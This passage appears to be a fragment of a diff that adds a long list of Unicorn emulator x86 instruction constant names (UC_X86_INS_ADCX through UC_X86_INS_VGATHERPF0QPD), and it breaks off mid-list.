+ UC_X86_INS_ADCX, + UC_X86_INS_ADD, + UC_X86_INS_ADDPD, + UC_X86_INS_ADDPS, + UC_X86_INS_ADDSD, + UC_X86_INS_ADDSS, + UC_X86_INS_ADDSUBPD, + UC_X86_INS_ADDSUBPS, + UC_X86_INS_FADD, + UC_X86_INS_FIADD, + UC_X86_INS_FADDP, + UC_X86_INS_ADOX, + UC_X86_INS_AESDECLAST, + UC_X86_INS_AESDEC, + UC_X86_INS_AESENCLAST, + UC_X86_INS_AESENC, + UC_X86_INS_AESIMC, + UC_X86_INS_AESKEYGENASSIST, + UC_X86_INS_AND, + UC_X86_INS_ANDN, + UC_X86_INS_ANDNPD, + UC_X86_INS_ANDNPS, + UC_X86_INS_ANDPD, + UC_X86_INS_ANDPS, + UC_X86_INS_ARPL, + UC_X86_INS_BEXTR, + UC_X86_INS_BLCFILL, + UC_X86_INS_BLCI, + UC_X86_INS_BLCIC, + UC_X86_INS_BLCMSK, + UC_X86_INS_BLCS, + UC_X86_INS_BLENDPD, + UC_X86_INS_BLENDPS, + UC_X86_INS_BLENDVPD, + UC_X86_INS_BLENDVPS, + UC_X86_INS_BLSFILL, + UC_X86_INS_BLSI, + UC_X86_INS_BLSIC, + UC_X86_INS_BLSMSK, + UC_X86_INS_BLSR, + UC_X86_INS_BOUND, + UC_X86_INS_BSF, + UC_X86_INS_BSR, + UC_X86_INS_BSWAP, + UC_X86_INS_BT, + UC_X86_INS_BTC, + UC_X86_INS_BTR, + UC_X86_INS_BTS, + UC_X86_INS_BZHI, + UC_X86_INS_CALL, + UC_X86_INS_CBW, + UC_X86_INS_CDQ, + UC_X86_INS_CDQE, + UC_X86_INS_FCHS, + UC_X86_INS_CLAC, + UC_X86_INS_CLC, + UC_X86_INS_CLD, + UC_X86_INS_CLFLUSH, + UC_X86_INS_CLFLUSHOPT, + UC_X86_INS_CLGI, + UC_X86_INS_CLI, + UC_X86_INS_CLTS, + UC_X86_INS_CLWB, + UC_X86_INS_CMC, + UC_X86_INS_CMOVA, + UC_X86_INS_CMOVAE, + UC_X86_INS_CMOVB, + UC_X86_INS_CMOVBE, + UC_X86_INS_FCMOVBE, + UC_X86_INS_FCMOVB, + UC_X86_INS_CMOVE, + UC_X86_INS_FCMOVE, + UC_X86_INS_CMOVG, + UC_X86_INS_CMOVGE, + UC_X86_INS_CMOVL, + UC_X86_INS_CMOVLE, + UC_X86_INS_FCMOVNBE, + UC_X86_INS_FCMOVNB, + UC_X86_INS_CMOVNE, + UC_X86_INS_FCMOVNE, + UC_X86_INS_CMOVNO, + UC_X86_INS_CMOVNP, + UC_X86_INS_FCMOVNU, + UC_X86_INS_CMOVNS, + UC_X86_INS_CMOVO, + UC_X86_INS_CMOVP, + UC_X86_INS_FCMOVU, + UC_X86_INS_CMOVS, + UC_X86_INS_CMP, + UC_X86_INS_CMPPD, + UC_X86_INS_CMPPS, + UC_X86_INS_CMPSB, + UC_X86_INS_CMPSD, + UC_X86_INS_CMPSQ, + UC_X86_INS_CMPSS, + UC_X86_INS_CMPSW, + UC_X86_INS_CMPXCHG16B, + UC_X86_INS_CMPXCHG, + UC_X86_INS_CMPXCHG8B, + UC_X86_INS_COMISD, + UC_X86_INS_COMISS, + UC_X86_INS_FCOMP, + UC_X86_INS_FCOMPI, + UC_X86_INS_FCOMI, + UC_X86_INS_FCOM, + UC_X86_INS_FCOS, + UC_X86_INS_CPUID, + UC_X86_INS_CQO, + UC_X86_INS_CRC32, + UC_X86_INS_CVTDQ2PD, + UC_X86_INS_CVTDQ2PS, + UC_X86_INS_CVTPD2DQ, + UC_X86_INS_CVTPD2PS, + UC_X86_INS_CVTPS2DQ, + UC_X86_INS_CVTPS2PD, + UC_X86_INS_CVTSD2SI, + UC_X86_INS_CVTSD2SS, + UC_X86_INS_CVTSI2SD, + UC_X86_INS_CVTSI2SS, + UC_X86_INS_CVTSS2SD, + UC_X86_INS_CVTSS2SI, + UC_X86_INS_CVTTPD2DQ, + UC_X86_INS_CVTTPS2DQ, + UC_X86_INS_CVTTSD2SI, + UC_X86_INS_CVTTSS2SI, + UC_X86_INS_CWD, + UC_X86_INS_CWDE, + UC_X86_INS_DAA, + UC_X86_INS_DAS, + UC_X86_INS_DATA16, + UC_X86_INS_DEC, + UC_X86_INS_DIV, + UC_X86_INS_DIVPD, + UC_X86_INS_DIVPS, + UC_X86_INS_FDIVR, + UC_X86_INS_FIDIVR, + UC_X86_INS_FDIVRP, + UC_X86_INS_DIVSD, + UC_X86_INS_DIVSS, + UC_X86_INS_FDIV, + UC_X86_INS_FIDIV, + UC_X86_INS_FDIVP, + UC_X86_INS_DPPD, + UC_X86_INS_DPPS, + UC_X86_INS_RET, + UC_X86_INS_ENCLS, + UC_X86_INS_ENCLU, + UC_X86_INS_ENTER, + UC_X86_INS_EXTRACTPS, + UC_X86_INS_EXTRQ, + UC_X86_INS_F2XM1, + UC_X86_INS_LCALL, + UC_X86_INS_LJMP, + UC_X86_INS_FBLD, + UC_X86_INS_FBSTP, + UC_X86_INS_FCOMPP, + UC_X86_INS_FDECSTP, + UC_X86_INS_FEMMS, + UC_X86_INS_FFREE, + UC_X86_INS_FICOM, + UC_X86_INS_FICOMP, + UC_X86_INS_FINCSTP, + UC_X86_INS_FLDCW, + UC_X86_INS_FLDENV, + UC_X86_INS_FLDL2E, + UC_X86_INS_FLDL2T, + UC_X86_INS_FLDLG2, + UC_X86_INS_FLDLN2, + UC_X86_INS_FLDPI, + UC_X86_INS_FNCLEX, + UC_X86_INS_FNINIT, + UC_X86_INS_FNOP, + UC_X86_INS_FNSTCW, + UC_X86_INS_FNSTSW, + UC_X86_INS_FPATAN, + UC_X86_INS_FPREM, + UC_X86_INS_FPREM1, + UC_X86_INS_FPTAN, + UC_X86_INS_FFREEP, + UC_X86_INS_FRNDINT, + UC_X86_INS_FRSTOR, + UC_X86_INS_FNSAVE, + UC_X86_INS_FSCALE, + UC_X86_INS_FSETPM, + UC_X86_INS_FSINCOS, + UC_X86_INS_FNSTENV, + UC_X86_INS_FXAM, + UC_X86_INS_FXRSTOR, + UC_X86_INS_FXRSTOR64, + UC_X86_INS_FXSAVE, + UC_X86_INS_FXSAVE64, + UC_X86_INS_FXTRACT, + UC_X86_INS_FYL2X, + UC_X86_INS_FYL2XP1, + UC_X86_INS_MOVAPD, + UC_X86_INS_MOVAPS, + UC_X86_INS_ORPD, + UC_X86_INS_ORPS, + UC_X86_INS_VMOVAPD, + UC_X86_INS_VMOVAPS, + UC_X86_INS_XORPD, + UC_X86_INS_XORPS, + UC_X86_INS_GETSEC, + UC_X86_INS_HADDPD, + UC_X86_INS_HADDPS, + UC_X86_INS_HLT, + UC_X86_INS_HSUBPD, + UC_X86_INS_HSUBPS, + UC_X86_INS_IDIV, + UC_X86_INS_FILD, + UC_X86_INS_IMUL, + UC_X86_INS_IN, + UC_X86_INS_INC, + UC_X86_INS_INSB, + UC_X86_INS_INSERTPS, + UC_X86_INS_INSERTQ, + UC_X86_INS_INSD, + UC_X86_INS_INSW, + UC_X86_INS_INT, + UC_X86_INS_INT1, + UC_X86_INS_INT3, + UC_X86_INS_INTO, + UC_X86_INS_INVD, + UC_X86_INS_INVEPT, + UC_X86_INS_INVLPG, + UC_X86_INS_INVLPGA, + UC_X86_INS_INVPCID, + UC_X86_INS_INVVPID, + UC_X86_INS_IRET, + UC_X86_INS_IRETD, + UC_X86_INS_IRETQ, + UC_X86_INS_FISTTP, + UC_X86_INS_FIST, + UC_X86_INS_FISTP, + UC_X86_INS_UCOMISD, + UC_X86_INS_UCOMISS, + UC_X86_INS_VCOMISD, + UC_X86_INS_VCOMISS, + UC_X86_INS_VCVTSD2SS, + UC_X86_INS_VCVTSI2SD, + UC_X86_INS_VCVTSI2SS, + UC_X86_INS_VCVTSS2SD, + UC_X86_INS_VCVTTSD2SI, + UC_X86_INS_VCVTTSD2USI, + UC_X86_INS_VCVTTSS2SI, + UC_X86_INS_VCVTTSS2USI, + UC_X86_INS_VCVTUSI2SD, + UC_X86_INS_VCVTUSI2SS, + UC_X86_INS_VUCOMISD, + UC_X86_INS_VUCOMISS, + UC_X86_INS_JAE, + UC_X86_INS_JA, + UC_X86_INS_JBE, + UC_X86_INS_JB, + UC_X86_INS_JCXZ, + UC_X86_INS_JECXZ, + UC_X86_INS_JE, + UC_X86_INS_JGE, + UC_X86_INS_JG, + UC_X86_INS_JLE, + UC_X86_INS_JL, + UC_X86_INS_JMP, + UC_X86_INS_JNE, + UC_X86_INS_JNO, + UC_X86_INS_JNP, + UC_X86_INS_JNS, + UC_X86_INS_JO, + UC_X86_INS_JP, + UC_X86_INS_JRCXZ, + UC_X86_INS_JS, + UC_X86_INS_KANDB, + UC_X86_INS_KANDD, + UC_X86_INS_KANDNB, + UC_X86_INS_KANDND, + UC_X86_INS_KANDNQ, + UC_X86_INS_KANDNW, + UC_X86_INS_KANDQ, + UC_X86_INS_KANDW, + UC_X86_INS_KMOVB, + UC_X86_INS_KMOVD, + UC_X86_INS_KMOVQ, + UC_X86_INS_KMOVW, + UC_X86_INS_KNOTB, + UC_X86_INS_KNOTD, + UC_X86_INS_KNOTQ, + UC_X86_INS_KNOTW, + UC_X86_INS_KORB, + UC_X86_INS_KORD, + UC_X86_INS_KORQ, + UC_X86_INS_KORTESTB, + UC_X86_INS_KORTESTD, + UC_X86_INS_KORTESTQ, + UC_X86_INS_KORTESTW, + UC_X86_INS_KORW, + UC_X86_INS_KSHIFTLB, + UC_X86_INS_KSHIFTLD, + UC_X86_INS_KSHIFTLQ, + UC_X86_INS_KSHIFTLW, + UC_X86_INS_KSHIFTRB, + UC_X86_INS_KSHIFTRD, + UC_X86_INS_KSHIFTRQ, + UC_X86_INS_KSHIFTRW, + UC_X86_INS_KUNPCKBW, + UC_X86_INS_KXNORB, + UC_X86_INS_KXNORD, + UC_X86_INS_KXNORQ, + UC_X86_INS_KXNORW, + UC_X86_INS_KXORB, + UC_X86_INS_KXORD, + UC_X86_INS_KXORQ, + UC_X86_INS_KXORW, + UC_X86_INS_LAHF, + UC_X86_INS_LAR, + UC_X86_INS_LDDQU, + UC_X86_INS_LDMXCSR, + UC_X86_INS_LDS, + UC_X86_INS_FLDZ, + UC_X86_INS_FLD1, + UC_X86_INS_FLD, + UC_X86_INS_LEA, + UC_X86_INS_LEAVE, + UC_X86_INS_LES, + UC_X86_INS_LFENCE, + UC_X86_INS_LFS, + UC_X86_INS_LGDT, + UC_X86_INS_LGS, + UC_X86_INS_LIDT, + UC_X86_INS_LLDT, + UC_X86_INS_LMSW, + UC_X86_INS_OR, + UC_X86_INS_SUB, + UC_X86_INS_XOR, + UC_X86_INS_LODSB, + UC_X86_INS_LODSD, + UC_X86_INS_LODSQ, + UC_X86_INS_LODSW, + UC_X86_INS_LOOP, + UC_X86_INS_LOOPE, + UC_X86_INS_LOOPNE, + UC_X86_INS_RETF, + UC_X86_INS_RETFQ, + UC_X86_INS_LSL, + UC_X86_INS_LSS, + UC_X86_INS_LTR, + UC_X86_INS_XADD, + UC_X86_INS_LZCNT, + UC_X86_INS_MASKMOVDQU, + UC_X86_INS_MAXPD, + UC_X86_INS_MAXPS, + UC_X86_INS_MAXSD, + UC_X86_INS_MAXSS, + UC_X86_INS_MFENCE, + UC_X86_INS_MINPD, + UC_X86_INS_MINPS, + UC_X86_INS_MINSD, + UC_X86_INS_MINSS, + UC_X86_INS_CVTPD2PI, + UC_X86_INS_CVTPI2PD, + UC_X86_INS_CVTPI2PS, + UC_X86_INS_CVTPS2PI, + UC_X86_INS_CVTTPD2PI, + UC_X86_INS_CVTTPS2PI, + UC_X86_INS_EMMS, + UC_X86_INS_MASKMOVQ, + UC_X86_INS_MOVD, + UC_X86_INS_MOVDQ2Q, + UC_X86_INS_MOVNTQ, + UC_X86_INS_MOVQ2DQ, + UC_X86_INS_MOVQ, + UC_X86_INS_PABSB, + UC_X86_INS_PABSD, + UC_X86_INS_PABSW, + UC_X86_INS_PACKSSDW, + UC_X86_INS_PACKSSWB, + UC_X86_INS_PACKUSWB, + UC_X86_INS_PADDB, + UC_X86_INS_PADDD, + UC_X86_INS_PADDQ, + UC_X86_INS_PADDSB, + UC_X86_INS_PADDSW, + UC_X86_INS_PADDUSB, + UC_X86_INS_PADDUSW, + UC_X86_INS_PADDW, + UC_X86_INS_PALIGNR, + UC_X86_INS_PANDN, + UC_X86_INS_PAND, + UC_X86_INS_PAVGB, + UC_X86_INS_PAVGW, + UC_X86_INS_PCMPEQB, + UC_X86_INS_PCMPEQD, + UC_X86_INS_PCMPEQW, + UC_X86_INS_PCMPGTB, + UC_X86_INS_PCMPGTD, + UC_X86_INS_PCMPGTW, + UC_X86_INS_PEXTRW, + UC_X86_INS_PHADDSW, + UC_X86_INS_PHADDW, + UC_X86_INS_PHADDD, + UC_X86_INS_PHSUBD, + UC_X86_INS_PHSUBSW, + UC_X86_INS_PHSUBW, + UC_X86_INS_PINSRW, + UC_X86_INS_PMADDUBSW, + UC_X86_INS_PMADDWD, + UC_X86_INS_PMAXSW, + UC_X86_INS_PMAXUB, + UC_X86_INS_PMINSW, + UC_X86_INS_PMINUB, + UC_X86_INS_PMOVMSKB, + UC_X86_INS_PMULHRSW, + UC_X86_INS_PMULHUW, + UC_X86_INS_PMULHW, + UC_X86_INS_PMULLW, + UC_X86_INS_PMULUDQ, + UC_X86_INS_POR, + UC_X86_INS_PSADBW, + UC_X86_INS_PSHUFB, + UC_X86_INS_PSHUFW, + UC_X86_INS_PSIGNB, + UC_X86_INS_PSIGND, + UC_X86_INS_PSIGNW, + UC_X86_INS_PSLLD, + UC_X86_INS_PSLLQ, + UC_X86_INS_PSLLW, + UC_X86_INS_PSRAD, + UC_X86_INS_PSRAW, + UC_X86_INS_PSRLD, + UC_X86_INS_PSRLQ, + UC_X86_INS_PSRLW, + UC_X86_INS_PSUBB, + UC_X86_INS_PSUBD, + UC_X86_INS_PSUBQ, + UC_X86_INS_PSUBSB, + UC_X86_INS_PSUBSW, + UC_X86_INS_PSUBUSB, + UC_X86_INS_PSUBUSW, + UC_X86_INS_PSUBW, + UC_X86_INS_PUNPCKHBW, + UC_X86_INS_PUNPCKHDQ, + UC_X86_INS_PUNPCKHWD, + UC_X86_INS_PUNPCKLBW, + UC_X86_INS_PUNPCKLDQ, + UC_X86_INS_PUNPCKLWD, + UC_X86_INS_PXOR, + UC_X86_INS_MONITOR, + UC_X86_INS_MONTMUL, + UC_X86_INS_MOV, + UC_X86_INS_MOVABS, + UC_X86_INS_MOVBE, + UC_X86_INS_MOVDDUP, + UC_X86_INS_MOVDQA, + UC_X86_INS_MOVDQU, + UC_X86_INS_MOVHLPS, + UC_X86_INS_MOVHPD, + UC_X86_INS_MOVHPS, + UC_X86_INS_MOVLHPS, + UC_X86_INS_MOVLPD, + UC_X86_INS_MOVLPS, + UC_X86_INS_MOVMSKPD, + UC_X86_INS_MOVMSKPS, + UC_X86_INS_MOVNTDQA, + UC_X86_INS_MOVNTDQ, + UC_X86_INS_MOVNTI, + UC_X86_INS_MOVNTPD, + UC_X86_INS_MOVNTPS, + UC_X86_INS_MOVNTSD, + UC_X86_INS_MOVNTSS, + UC_X86_INS_MOVSB, + UC_X86_INS_MOVSD, + UC_X86_INS_MOVSHDUP, + UC_X86_INS_MOVSLDUP, + UC_X86_INS_MOVSQ, + UC_X86_INS_MOVSS, + UC_X86_INS_MOVSW, + UC_X86_INS_MOVSX, + UC_X86_INS_MOVSXD, + UC_X86_INS_MOVUPD, + UC_X86_INS_MOVUPS, + UC_X86_INS_MOVZX, + UC_X86_INS_MPSADBW, + UC_X86_INS_MUL, + UC_X86_INS_MULPD, + UC_X86_INS_MULPS, + UC_X86_INS_MULSD, + UC_X86_INS_MULSS, + UC_X86_INS_MULX, + UC_X86_INS_FMUL, + UC_X86_INS_FIMUL, + UC_X86_INS_FMULP, + UC_X86_INS_MWAIT, + UC_X86_INS_NEG, + UC_X86_INS_NOP, + UC_X86_INS_NOT, + UC_X86_INS_OUT, + UC_X86_INS_OUTSB, + UC_X86_INS_OUTSD, + UC_X86_INS_OUTSW, + UC_X86_INS_PACKUSDW, + UC_X86_INS_PAUSE, + UC_X86_INS_PAVGUSB, + UC_X86_INS_PBLENDVB, + UC_X86_INS_PBLENDW, + UC_X86_INS_PCLMULQDQ, + UC_X86_INS_PCMPEQQ, + UC_X86_INS_PCMPESTRI, + UC_X86_INS_PCMPESTRM, + UC_X86_INS_PCMPGTQ, + UC_X86_INS_PCMPISTRI, + UC_X86_INS_PCMPISTRM, + UC_X86_INS_PCOMMIT, + UC_X86_INS_PDEP, + UC_X86_INS_PEXT, + UC_X86_INS_PEXTRB, + UC_X86_INS_PEXTRD, + UC_X86_INS_PEXTRQ, + UC_X86_INS_PF2ID, + UC_X86_INS_PF2IW, + UC_X86_INS_PFACC, + UC_X86_INS_PFADD, + UC_X86_INS_PFCMPEQ, + UC_X86_INS_PFCMPGE, + UC_X86_INS_PFCMPGT, + UC_X86_INS_PFMAX, + UC_X86_INS_PFMIN, + UC_X86_INS_PFMUL, + UC_X86_INS_PFNACC, + UC_X86_INS_PFPNACC, + UC_X86_INS_PFRCPIT1, + UC_X86_INS_PFRCPIT2, + UC_X86_INS_PFRCP, + UC_X86_INS_PFRSQIT1, + UC_X86_INS_PFRSQRT, + UC_X86_INS_PFSUBR, + UC_X86_INS_PFSUB, + UC_X86_INS_PHMINPOSUW, + UC_X86_INS_PI2FD, + UC_X86_INS_PI2FW, + UC_X86_INS_PINSRB, + UC_X86_INS_PINSRD, + UC_X86_INS_PINSRQ, + UC_X86_INS_PMAXSB, + UC_X86_INS_PMAXSD, + UC_X86_INS_PMAXUD, + UC_X86_INS_PMAXUW, + UC_X86_INS_PMINSB, + UC_X86_INS_PMINSD, + UC_X86_INS_PMINUD, + UC_X86_INS_PMINUW, + UC_X86_INS_PMOVSXBD, + UC_X86_INS_PMOVSXBQ, + UC_X86_INS_PMOVSXBW, + UC_X86_INS_PMOVSXDQ, + UC_X86_INS_PMOVSXWD, + UC_X86_INS_PMOVSXWQ, + UC_X86_INS_PMOVZXBD, + UC_X86_INS_PMOVZXBQ, + UC_X86_INS_PMOVZXBW, + UC_X86_INS_PMOVZXDQ, + UC_X86_INS_PMOVZXWD, + UC_X86_INS_PMOVZXWQ, + UC_X86_INS_PMULDQ, + UC_X86_INS_PMULHRW, + UC_X86_INS_PMULLD, + UC_X86_INS_POP, + UC_X86_INS_POPAW, + UC_X86_INS_POPAL, + UC_X86_INS_POPCNT, + UC_X86_INS_POPF, + UC_X86_INS_POPFD, + UC_X86_INS_POPFQ, + UC_X86_INS_PREFETCH, + UC_X86_INS_PREFETCHNTA, + UC_X86_INS_PREFETCHT0, + UC_X86_INS_PREFETCHT1, + UC_X86_INS_PREFETCHT2, + UC_X86_INS_PREFETCHW, + UC_X86_INS_PSHUFD, + UC_X86_INS_PSHUFHW, + UC_X86_INS_PSHUFLW, + UC_X86_INS_PSLLDQ, + UC_X86_INS_PSRLDQ, + UC_X86_INS_PSWAPD, + UC_X86_INS_PTEST, + UC_X86_INS_PUNPCKHQDQ, + UC_X86_INS_PUNPCKLQDQ, + UC_X86_INS_PUSH, + UC_X86_INS_PUSHAW, + UC_X86_INS_PUSHAL, + UC_X86_INS_PUSHF, + UC_X86_INS_PUSHFD, + UC_X86_INS_PUSHFQ, + UC_X86_INS_RCL, + UC_X86_INS_RCPPS, + UC_X86_INS_RCPSS, + UC_X86_INS_RCR, + UC_X86_INS_RDFSBASE, + UC_X86_INS_RDGSBASE, + UC_X86_INS_RDMSR, + UC_X86_INS_RDPMC, + UC_X86_INS_RDRAND, + UC_X86_INS_RDSEED, + UC_X86_INS_RDTSC, + UC_X86_INS_RDTSCP, + UC_X86_INS_ROL, + UC_X86_INS_ROR, + UC_X86_INS_RORX, + UC_X86_INS_ROUNDPD, + UC_X86_INS_ROUNDPS, + UC_X86_INS_ROUNDSD, + UC_X86_INS_ROUNDSS, + UC_X86_INS_RSM, + UC_X86_INS_RSQRTPS, + UC_X86_INS_RSQRTSS, + UC_X86_INS_SAHF, + UC_X86_INS_SAL, + UC_X86_INS_SALC, + UC_X86_INS_SAR, + UC_X86_INS_SARX, + UC_X86_INS_SBB, + UC_X86_INS_SCASB, + UC_X86_INS_SCASD, + UC_X86_INS_SCASQ, + UC_X86_INS_SCASW, + UC_X86_INS_SETAE, + UC_X86_INS_SETA, + UC_X86_INS_SETBE, + UC_X86_INS_SETB, + UC_X86_INS_SETE, + UC_X86_INS_SETGE, + UC_X86_INS_SETG, + UC_X86_INS_SETLE, + UC_X86_INS_SETL, + UC_X86_INS_SETNE, + UC_X86_INS_SETNO, + UC_X86_INS_SETNP, + UC_X86_INS_SETNS, + UC_X86_INS_SETO, + UC_X86_INS_SETP, + UC_X86_INS_SETS, + UC_X86_INS_SFENCE, + UC_X86_INS_SGDT, + UC_X86_INS_SHA1MSG1, + UC_X86_INS_SHA1MSG2, + UC_X86_INS_SHA1NEXTE, + UC_X86_INS_SHA1RNDS4, + UC_X86_INS_SHA256MSG1, + UC_X86_INS_SHA256MSG2, + UC_X86_INS_SHA256RNDS2, + UC_X86_INS_SHL, + UC_X86_INS_SHLD, + UC_X86_INS_SHLX, + UC_X86_INS_SHR, + UC_X86_INS_SHRD, + UC_X86_INS_SHRX, + UC_X86_INS_SHUFPD, + UC_X86_INS_SHUFPS, + UC_X86_INS_SIDT, + UC_X86_INS_FSIN, + UC_X86_INS_SKINIT, + UC_X86_INS_SLDT, + UC_X86_INS_SMSW, + UC_X86_INS_SQRTPD, + UC_X86_INS_SQRTPS, + UC_X86_INS_SQRTSD, + UC_X86_INS_SQRTSS, + UC_X86_INS_FSQRT, + UC_X86_INS_STAC, + UC_X86_INS_STC, + UC_X86_INS_STD, + UC_X86_INS_STGI, + UC_X86_INS_STI, + UC_X86_INS_STMXCSR, + UC_X86_INS_STOSB, + UC_X86_INS_STOSD, + UC_X86_INS_STOSQ, + UC_X86_INS_STOSW, + UC_X86_INS_STR, + UC_X86_INS_FST, + UC_X86_INS_FSTP, + UC_X86_INS_FSTPNCE, + UC_X86_INS_FXCH, + UC_X86_INS_SUBPD, + UC_X86_INS_SUBPS, + UC_X86_INS_FSUBR, + UC_X86_INS_FISUBR, + UC_X86_INS_FSUBRP, + UC_X86_INS_SUBSD, + UC_X86_INS_SUBSS, + UC_X86_INS_FSUB, + UC_X86_INS_FISUB, + UC_X86_INS_FSUBP, + UC_X86_INS_SWAPGS, + UC_X86_INS_SYSCALL, + UC_X86_INS_SYSENTER, + UC_X86_INS_SYSEXIT, + UC_X86_INS_SYSRET, + UC_X86_INS_T1MSKC, + UC_X86_INS_TEST, + UC_X86_INS_UD2, + UC_X86_INS_FTST, + UC_X86_INS_TZCNT, + UC_X86_INS_TZMSK, + UC_X86_INS_FUCOMPI, + UC_X86_INS_FUCOMI, + UC_X86_INS_FUCOMPP, + UC_X86_INS_FUCOMP, + UC_X86_INS_FUCOM, + UC_X86_INS_UD2B, + UC_X86_INS_UNPCKHPD, + UC_X86_INS_UNPCKHPS, + UC_X86_INS_UNPCKLPD, + UC_X86_INS_UNPCKLPS, + UC_X86_INS_VADDPD, + UC_X86_INS_VADDPS, + UC_X86_INS_VADDSD, + UC_X86_INS_VADDSS, + UC_X86_INS_VADDSUBPD, + UC_X86_INS_VADDSUBPS, + UC_X86_INS_VAESDECLAST, + UC_X86_INS_VAESDEC, + UC_X86_INS_VAESENCLAST, + UC_X86_INS_VAESENC, + UC_X86_INS_VAESIMC, + UC_X86_INS_VAESKEYGENASSIST, + UC_X86_INS_VALIGND, + UC_X86_INS_VALIGNQ, + UC_X86_INS_VANDNPD, + UC_X86_INS_VANDNPS, + UC_X86_INS_VANDPD, + UC_X86_INS_VANDPS, + UC_X86_INS_VBLENDMPD, + UC_X86_INS_VBLENDMPS, + UC_X86_INS_VBLENDPD, + UC_X86_INS_VBLENDPS, + UC_X86_INS_VBLENDVPD, + UC_X86_INS_VBLENDVPS, + UC_X86_INS_VBROADCASTF128, + UC_X86_INS_VBROADCASTI32X4, + UC_X86_INS_VBROADCASTI64X4, + UC_X86_INS_VBROADCASTSD, + UC_X86_INS_VBROADCASTSS, + UC_X86_INS_VCMPPD, + UC_X86_INS_VCMPPS, + UC_X86_INS_VCMPSD, + UC_X86_INS_VCMPSS, + UC_X86_INS_VCOMPRESSPD, + UC_X86_INS_VCOMPRESSPS, + UC_X86_INS_VCVTDQ2PD, + UC_X86_INS_VCVTDQ2PS, + UC_X86_INS_VCVTPD2DQX, + UC_X86_INS_VCVTPD2DQ, + UC_X86_INS_VCVTPD2PSX, + UC_X86_INS_VCVTPD2PS, + UC_X86_INS_VCVTPD2UDQ, + UC_X86_INS_VCVTPH2PS, + UC_X86_INS_VCVTPS2DQ, + UC_X86_INS_VCVTPS2PD, + UC_X86_INS_VCVTPS2PH, + UC_X86_INS_VCVTPS2UDQ, + UC_X86_INS_VCVTSD2SI, + UC_X86_INS_VCVTSD2USI, + UC_X86_INS_VCVTSS2SI, + UC_X86_INS_VCVTSS2USI, + UC_X86_INS_VCVTTPD2DQX, + UC_X86_INS_VCVTTPD2DQ, + UC_X86_INS_VCVTTPD2UDQ, + UC_X86_INS_VCVTTPS2DQ, + UC_X86_INS_VCVTTPS2UDQ, + UC_X86_INS_VCVTUDQ2PD, + UC_X86_INS_VCVTUDQ2PS, + UC_X86_INS_VDIVPD, + UC_X86_INS_VDIVPS, + UC_X86_INS_VDIVSD, + UC_X86_INS_VDIVSS, + UC_X86_INS_VDPPD, + UC_X86_INS_VDPPS, + UC_X86_INS_VERR, + UC_X86_INS_VERW, + UC_X86_INS_VEXP2PD, + UC_X86_INS_VEXP2PS, + UC_X86_INS_VEXPANDPD, + UC_X86_INS_VEXPANDPS, + UC_X86_INS_VEXTRACTF128, + UC_X86_INS_VEXTRACTF32X4, + UC_X86_INS_VEXTRACTF64X4, + UC_X86_INS_VEXTRACTI128, + UC_X86_INS_VEXTRACTI32X4, + UC_X86_INS_VEXTRACTI64X4, + UC_X86_INS_VEXTRACTPS, + UC_X86_INS_VFMADD132PD, + UC_X86_INS_VFMADD132PS, + UC_X86_INS_VFMADDPD, + UC_X86_INS_VFMADD213PD, + UC_X86_INS_VFMADD231PD, + UC_X86_INS_VFMADDPS, + UC_X86_INS_VFMADD213PS, + UC_X86_INS_VFMADD231PS, + UC_X86_INS_VFMADDSD, + UC_X86_INS_VFMADD213SD, + UC_X86_INS_VFMADD132SD, + UC_X86_INS_VFMADD231SD, + UC_X86_INS_VFMADDSS, + UC_X86_INS_VFMADD213SS, + UC_X86_INS_VFMADD132SS, + UC_X86_INS_VFMADD231SS, + UC_X86_INS_VFMADDSUB132PD, + UC_X86_INS_VFMADDSUB132PS, + UC_X86_INS_VFMADDSUBPD, + UC_X86_INS_VFMADDSUB213PD, + UC_X86_INS_VFMADDSUB231PD, + UC_X86_INS_VFMADDSUBPS, + UC_X86_INS_VFMADDSUB213PS, + UC_X86_INS_VFMADDSUB231PS, + UC_X86_INS_VFMSUB132PD, + UC_X86_INS_VFMSUB132PS, + UC_X86_INS_VFMSUBADD132PD, + UC_X86_INS_VFMSUBADD132PS, + UC_X86_INS_VFMSUBADDPD, + UC_X86_INS_VFMSUBADD213PD, + UC_X86_INS_VFMSUBADD231PD, + UC_X86_INS_VFMSUBADDPS, + UC_X86_INS_VFMSUBADD213PS, + UC_X86_INS_VFMSUBADD231PS, + UC_X86_INS_VFMSUBPD, + UC_X86_INS_VFMSUB213PD, + UC_X86_INS_VFMSUB231PD, + UC_X86_INS_VFMSUBPS, + UC_X86_INS_VFMSUB213PS, + UC_X86_INS_VFMSUB231PS, + UC_X86_INS_VFMSUBSD, + UC_X86_INS_VFMSUB213SD, + UC_X86_INS_VFMSUB132SD, + UC_X86_INS_VFMSUB231SD, + UC_X86_INS_VFMSUBSS, + UC_X86_INS_VFMSUB213SS, + UC_X86_INS_VFMSUB132SS, + UC_X86_INS_VFMSUB231SS, + UC_X86_INS_VFNMADD132PD, + UC_X86_INS_VFNMADD132PS, + UC_X86_INS_VFNMADDPD, + UC_X86_INS_VFNMADD213PD, + UC_X86_INS_VFNMADD231PD, + UC_X86_INS_VFNMADDPS, + UC_X86_INS_VFNMADD213PS, + UC_X86_INS_VFNMADD231PS, + UC_X86_INS_VFNMADDSD, + UC_X86_INS_VFNMADD213SD, + UC_X86_INS_VFNMADD132SD, + UC_X86_INS_VFNMADD231SD, + UC_X86_INS_VFNMADDSS, + UC_X86_INS_VFNMADD213SS, + UC_X86_INS_VFNMADD132SS, + UC_X86_INS_VFNMADD231SS, + UC_X86_INS_VFNMSUB132PD, + UC_X86_INS_VFNMSUB132PS, + UC_X86_INS_VFNMSUBPD, + UC_X86_INS_VFNMSUB213PD, + UC_X86_INS_VFNMSUB231PD, + UC_X86_INS_VFNMSUBPS, + UC_X86_INS_VFNMSUB213PS, + UC_X86_INS_VFNMSUB231PS, + UC_X86_INS_VFNMSUBSD, + UC_X86_INS_VFNMSUB213SD, + UC_X86_INS_VFNMSUB132SD, + UC_X86_INS_VFNMSUB231SD, + UC_X86_INS_VFNMSUBSS, + UC_X86_INS_VFNMSUB213SS, + UC_X86_INS_VFNMSUB132SS, + UC_X86_INS_VFNMSUB231SS, + UC_X86_INS_VFRCZPD, + UC_X86_INS_VFRCZPS, + UC_X86_INS_VFRCZSD, + UC_X86_INS_VFRCZSS, + UC_X86_INS_VORPD, + UC_X86_INS_VORPS, + UC_X86_INS_VXORPD, + UC_X86_INS_VXORPS, + UC_X86_INS_VGATHERDPD, + UC_X86_INS_VGATHERDPS, + UC_X86_INS_VGATHERPF0DPD, + UC_X86_INS_VGATHERPF0DPS, + UC_X86_INS_VGATHERPF0QPD, + 